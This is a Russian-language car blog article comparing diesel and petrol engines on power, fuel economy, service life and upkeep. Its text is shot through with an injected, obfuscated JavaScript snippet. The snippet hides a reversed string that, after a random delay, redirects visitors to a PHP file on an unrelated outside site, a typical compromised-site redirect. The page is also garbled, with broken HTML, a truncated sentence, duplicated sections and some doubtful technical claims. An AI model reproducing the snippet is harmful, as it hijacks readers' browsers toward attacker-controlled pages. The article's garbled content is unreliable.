Давайте мы сегодня поговорим о том, какой двигатель лучше дизельный или бензиновый. Этот вопрос беспокоит автомобилистов уже не одно десятилетие.
У обоих вариантов есть свои плюсы и минусы. В частности: о мощности и производительности, экономичности, ресурсе, обслуживании и эксплуатации.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/dizelnyiy-i-benzinovyiy-dvigatel.jpg» alt=»выбираем двигатель бензиновый или дизельный» width=»800″ height=»326″/></p><div id= "выбираем двигатель бензиновый или дизельный")
Оглавление
Бензиновый или дизельный двигатель что лучше?
Первое на что обращает внимание покупатель – мощность двигателя. И хотя этот показатель не связан с типом горючего, которое потребляет мотор, но при сравнении двух силовых установок, нужно упомянуть, что по количеству лошадиных сил впереди именно бензиновый вариант.
Даже если на дизеле установлен 
Но бензиновый вариант, обладая хорошими динамическими показателями, уступает дизелю в тяге. Так, если ваше бензиновое авто засядет на бездорожье, то крутящего момента может и не хватить, чтобы выбраться из грязи.
В то время как дизель со своим значительным крутящим моментом, который можно получить на более низких, нежели у бензинового мотора, оборотах, выполнит эту задачу с лёгкостью. Недаром дизельными движками комплектуются внедорожные автомобили и специальная техника.
Если говорить о КПД двух типов двигателей, то у дизеля он выше. То есть чтобы преодолеть один и тот же отрезок пути, независимо, магистраль это или полное бездорожье, дизель «скушает» меньшее горючки, чем авто на бензине.
Правда, благодаря большей мощности и лучшим динамическим показателям авто с бензиновым мотором доедет к месту назначения быстрее. И хотя расход горючего получится выше, но за всё приходится платить.
Экономичность
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/dizelny-<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "Дизельная колонка")
top-300×203.jpg» alt=»Дизельная колонка» width=»300″ height=»203″/>
Нужно сказать, что сегодня экономичность очень актуальная тема. Так что на эту характеристику покупатели смотрим первым делом и выбираем двигатель бензиновый или дизельный.
И если сравнить одну и ту же модель с разными движками, то увидим, что дизельная модификация имеет расход топлива и в городском, и в загородном, и в комбинированном цикле меньше.
Поэтому, если вы хотите сэкономить денег на заправке, то отдайте предпочтение дизельному варианту – расход меньше, и стоимость ниже.
Кстати, не стоит забывать и об экологических показателях. Сегодня в большинстве стран строго следят за уровнем вредных выбросов и переходят на всё более высокие нормы выхлопа – Евро-5 и даже Евро-6. А дизельные агрегаты по этим показателям впереди –поэтому их массово выпускают в Западной Европе.
Ресурс
Выбираем $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/dizelnyj-dvigatel.html» target=»_blank» rel=»noopener noreferrer»>дизельный и рассматриваем их ресурсы.
Согласно статистике, срок эксплуатации нового автомобиля в среднем составляет от 5 до 8 лет. Так что вопросов по моторесурсу обоих агрегатов нет, хотя производители автомобилей и держат в секрете данные о максимально возможных моточасах и километраже пробега.
А вот те, кто приобретает подержанные авто, очень интересуются этим моментом. Общий ответ есть: по этому параметру бензиновый вариант уступает дизельному.
Причин две:
- Первая: конструкция бензинового движка – она жестче, чем у дизельного, а значит узлы будут быстрее изнашиваться.
- Вторая: дизтопливо по химическому составу представляет собой дополнительную смазку, что продлевает срок эксплуатации. Среди двигателей, которые смогли пройти миллион километров значительно больше дизельных.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/sistema-vpryiska-na-dvigatele.jpg» alt=»Работа дизельного двигателя» width=»1000″ height=»750″/></p><h2><span id= "Работа дизельного двигателя")
Эксплуатация и обслуживание
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/dizel-i-moroz-300×200.jpg» alt=»Дизель и мороз» width=»300″ height=»200″/>Здесь преимущество у бензиновых двигателей. Они менее зависимы от качественных показателей горючего.</p><p>Иными словами, если залить бензин низкого качества, то двигатель его «проглотит» – динамика, конечно, ухудшится, но авто ехать будет, хотя потом, возможно, и придется промывать топливную систему.</p><p>Если же «левак» попадет в топливную систему дизеля – может кончится плохо: повредится топливный насос высокого давления и тогда мы уже больше никуда не поедем.</p><p>Следующий плюс бензиновых движков – нечуствительность к температуре внешней среды, что достаточно актуально для нашего климата.</p><p>То есть, такое авто заводится на морозе легче чем дизельный вариант, так как бензин воспламеняться при меньшей температуре, чем солярка. Хотя применение «зимних» топлив и предпусковых подогревателей делает это преимущество не очень критичным.</p><p>Ещё бензиновые двигатели сравнительно мало шумят. А вот «тракторный» звук от дизеля, часто слышен в салоне и при холостых оборотах. Правда, современные дизеля звучат уже не так громко, как предшественники.</p><h3><span id= "Дизель и мороз")
Техническое обслуживание
Обслуживание, например, смена моторного масла в дизельных автомобилях проводится чаще, чем в бензиновых. Коме того сама стоимость обслуживания дизеля выше, так как расходники для него дороже. Ремонт дизеля тоже «съест» больше денег.
Выбираем двигатель бензиновый или дизельный. Выводы
Плюсы дизеля:
- экономичность и экологичность;
- хорошая тяга на низких оборотах и производительность;
- значительный ресурс и долговечность.
Минусы дизеля:
- чувствительность к качеству дизтоплива;
- проблемы при низких температурах;
- значительный вес;
- меньшая мощность;
- шум и вибрации во время работы;
- дорогие обслуживание и ремонт.
Плюсы бензинового мотора:
- малая масса и компактность;
- небольшой уровень шума и вибраций;
- стабильная работа в условиях низких температур;
- меньшая требовательность к качеству топлива;
- большая мощность;
- дешевое обслуживание и эксплуатация.
Минусы бензинового мотора:
- значительный расход бензина;
- слабая тяга на низких оборотах;
- малый ресурс.
Проанализируйте приведенные данные, и сами решайте, автомобиль с каким двигателем вам больше подойдёт.
Поделитесь ссылкой на статью с друзьями в соц.сетях, чтобы они тоже могли сделать правильный выбор.
До новых встреч.
//www.youtube.com/watch?v=lMxUv2mt0Sc
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/dizelnyiy-i-benzinovyiy-dvigatel.jpg» alt=»выбираем двигатель бензиновый или дизельный» width=»800″ height=»326″/></p><div id= "выбираем двигатель бензиновый или дизельный")
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/dizelny-<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "Дизельная колонка")
top-300×203.jpg» alt=»Дизельная колонка» width=»300″ height=»203″/>{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/sistema-vpryiska-na-dvigatele.jpg» alt=»Работа дизельного двигателя» width=»1000″ height=»750″/></p><h2><span id= "Работа дизельного двигателя")
Эксплуатация и обслуживание{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/dizel-i-moroz-300×200.jpg» alt=»Дизель и мороз» width=»300″ height=»200″/>Здесь преимущество у бензиновых двигателей. Они менее зависимы от качественных показателей горючего.</p><p>Иными словами, если залить бензин низкого качества, то двигатель его «проглотит» – динамика, конечно, ухудшится, но авто ехать будет, хотя потом, возможно, и придется промывать топливную систему.</p><p>Если же «левак» попадет в топливную систему дизеля – может кончится плохо: повредится топливный насос высокого давления и тогда мы уже больше никуда не поедем.</p><p>Следующий плюс бензиновых движков – нечуствительность к температуре внешней среды, что достаточно актуально для нашего климата.</p><p>То есть, такое авто заводится на морозе легче чем дизельный вариант, так как бензин воспламеняться при меньшей температуре, чем солярка. Хотя применение «зимних» топлив и предпусковых подогревателей делает это преимущество не очень критичным.</p><p>Ещё бензиновые двигатели сравнительно мало шумят. А вот «тракторный» звук от дизеля, часто слышен в салоне и при холостых оборотах. Правда, современные дизеля звучат уже не так громко, как предшественники.</p><h3><span id= "Дизель и мороз")
Техническое обслуживание
